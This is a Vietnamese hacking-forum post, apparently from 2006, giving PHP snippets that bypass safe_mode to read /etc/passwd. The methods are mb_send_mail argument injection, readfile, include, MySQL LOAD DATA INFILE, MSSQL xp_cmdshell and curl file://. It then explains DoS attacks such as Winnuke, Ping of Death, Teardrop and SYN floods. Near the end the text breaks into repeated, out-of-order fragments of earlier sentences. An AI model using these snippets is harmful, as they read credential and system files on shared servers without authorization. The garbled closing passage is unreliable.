đây còn là bug khá mới (cuối tháng 2 2006) nên còn nh` server dính,t uy nhiên ko phải server nào cũng có function này XD share 1 chút kinh nghiệm để đc share lại 1 chút kinh nghiệm khác. Bypass safemode restrictions [PHP] (phần 2) Phần 2 - mb_send_mail, readfile, include bug mb_send_mail nếu rekc0r ko nhầm thì cũng đc report cùng thời điểm cuối tháng 2. exploit với code sau: Trích: $rek= "hehehehe"; if (file_exists($rek)) unlink($rek); $file = "/etc/passwd"; $xploit = "-C ".$file." -X ".getcwd()."/".$rek; mb_send_mail(NULL, NULL, NULL, NULL, $xploit); echo "<pre>".file_get_contents($file)."</pre>"; readfile thì chắc mọi người cung biết rồi Trích: readfile("/etc/passwd"); và include Trích: @include("/etc/passwd"); SAFEMODE disable các functions sau: Trích: dbmopen() dbase_open() filepro() filepro_rowcount() filepro_retrieve() ifx_*() ingres_*() mysql_*() pg_loimport() posix_mkfifo() putenv() move_uploaded_file() chdir() dl() shell_exec() exec() system() passthru() popen() mkdir() rmdir() rename() unlink() copy() chgrp() chown() chmod() touch() symlink() link() getallheaders() header() PHP_AUTH variables highlight_file() Show_source() parse_ini_file() set_time_limit() max_execution_time ST#ID=501 vns3curity(HCE) Bypass safemode restrictions [PHP] (phần 3) Phần 3 - sql Cat file qua mysql Trích: $port = "3306"; $user = "root"; $pass = ""; $database = "test"; $file = "/etc/passwd"; $db = @mysql_connect('localhost:'.$port,$user,$pass); $sql = "DROP TABLE IF EXISTS temp_vniss_test;"; @mysql_query($sql); $sql = "CREATE TABLE `temp_vniss_test` ( `file` LONGBLOB NOT NULL );"; @mysql_query($sql); $sql = "LOAD DATA INFILE \"".$file."\" INTO TABLE temp_vniss_test;"; @mysql_query($sql); $sql = "SELECT * FROM temp_vniss_test;"; $r = @mysql_query($sql); while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } $sql = "DROP TABLE IF EXISTS temp_vniss_test;"; @mysql_query($sql); @mysql_close($db); Tương tự với mssql: Trích: $port = "1433"; $user = "root"; $pass = ""; $database = "test"; $file = "/etc/passwd"; $db = @mssql_connect('localhost,'.$port,$user,$pass); @mssql_query("drop table temp_vniss_test",$db); @mssql_query("create table temp_vniss_test ( string VARCHAR (500) NULL)",$db); @mssql_query("insert into temp_vniss_test EXEC master.dbo.xp_cmdshell '".$file."'",$db); $res = mssql_query("select * from temp_vniss_test",$db); while(($row=@mssql_fetch_row($res))) { echo $row[0]."\r\n"; } @mssql_query("drop table temp_vniss_test",$db); @mssql_close($db); ST#ID=502 vns3curity(HCE) Bypass safemode restrictions [PHP] (phần 4) Phần 4 - những gì lặt vặt còn xót lại Nếu server turn on curl hãy thử: Trích: $file = "/etc/passwd"; $c1 = @curl_init("file://".$file.""); $c2 = @curl_exec($ci); echo $c2; nếu có quyền upload cgi-bin, sao ko chơi con .cgi lên DoS attack là gì? ( Denial Of Services Attack ) DoS attack ( dịch là tấn công từ chối dịch vụ ) là kiểu tấn công rất lợi hại , với loại tấn công này , bạn chỉ cần một máy tính kết nối Internet là đã có thể thực hiện việc tấn công được máy tính của đốI phương . thực chất của DoS attack là hacker sẽ chiếm dụng một lượng lớn tài nguyên trên server ( tài nguyên đó có thể là băng thông, bộ nhớ, cpu, đĩa cứng, ) làm cho server không thể nào đáp ứng các yêu cầu từ các máy của nguời khác ( máy của những người dùng bình thường ) và server có thể nhanh chóng bị ngừng hoạt động, crash hoặc reboot . Các loại DoS attack hiện đang được biết đến và sử dụng : a . ) Winnuke : _DoS attack loại này chỉ có thể áp dụng cho các máy tính đang chạy Windows9x . Hacker sẽ gởi các gói tin với dữ liệu ``Out of Band`` đến cổng 139 của máy tính đích.( Cổng 139 chính là cổng NetBIOS, cổng này chỉ chấp nhận các gói tin có cờ Out of Band được bật ) . Khi máy tính của victim nhận được gói tin này, một màn hình xanh báo lỗi sẽ được hiển thị lên với nạn nhân do chương trình của Windows nhận được các gói tin này nhưng nó lại không biết phản ứng với các dữ liệu Out Of Band như thế nào dẫn đến hệ thống sẽ bị crash . b . ) Ping of Death : _ Ở kiểu DoS attack này , ta chỉ cần gửi một gói dữ liệu có kích thước lớn thông qua lệnh ping đến máy đích thì hệ thống của họ sẽ bị treo . _ VD : ping –l 65000 c . ) Teardrop : _ Như ta đã biết , tất cả các dữ liệu chuyển đi trên mạng từ hệ thống nguồn đến hệ thống đích đều phải trải qua 2 quá trình : dữ liệu sẽ được chia ra thành các mảnh nhỏ ở hệ thống nguồn, mỗi mảnh đều phải có một giá trị offset nhất định để xác định vị trí của mảnh đó trong gói dữ liệu được chuyển đi. Khi các mảnh này đến hệ thống đích, hệ thống đích sẽ dựa vào giá trị offset để sắp xếp các mảnh lại với nhau theo thứ tự đúng như ban đầu . Lợi dụng sơ hở đó , ta chỉ cần gởi đến hệ thống đích một loạt gói packets với giá trị offset chồng chéo lên nhau. Hệ thống đích sẽ không thể nào sắp xếp lại các packets này, nó không điều khiển được và có thể bị crash, reboot hoặc ngừng hoạt động nếu số lượng gói packets với giá trị offset chồng chéo lên nhau quá lớn ! d . ) SYN Attack : _ Trong SYN Attack, hacker sẽ gởi đến hệ thống đích một loạt SYN packets với địa chỉ ip nguồn không có thực. Hệ thống đích khi nhận được các SYN packets này sẽ gởi trở lại các địa chỉ không có thực đó và chờ đợI để nhận thông tin phản hồi từ các địa chỉ ip giả . Vì đây là các địa chỉ ip không có thực, nên hệ thống đích sẽ sẽ chờ đợi vô ích và còn đưa các ``request`` chờ đợi này vào bộ nhớ , gây lãng phí một lượng đáng kể bộ nhớ trên máy chủ mà đúng ra là phải dùng vào việc khác thay cho phải chờ đợi thông tin phản hồi không có thực này . Nếu ta gởi cùng một lúc nhiều gói tin có địa chỉ IP giả như vậy thì hệ thống sẽ bị quá tải dẫn đến bị crash hoặc boot máy tính . == > ném đá dấu tay . e . ) Land Attack : . là đã có thể thực hiện việc tấn công được máy tính của đốI phương . thực chất của DoS attack là hacker sẽ chiếm dụng một lượng lớn tài nguyên trên server ( tài nguyên đó có thể là băng thông,. ) Winnuke : _DoS attack loại này chỉ có thể áp dụng cho các máy tính đang chạy Windows9x . Hacker sẽ gởi các gói tin với dữ liệu ``Out of Band`` đến cổng 139 của máy tính đích.( Cổng 139. với giá trị offset chồng chéo lên nhau quá lớn ! d . ) SYN Attack : _ Trong SYN Attack, hacker sẽ gởi đến hệ thống đích một loạt SYN packets với địa chỉ ip nguồn không có thực. Hệ thống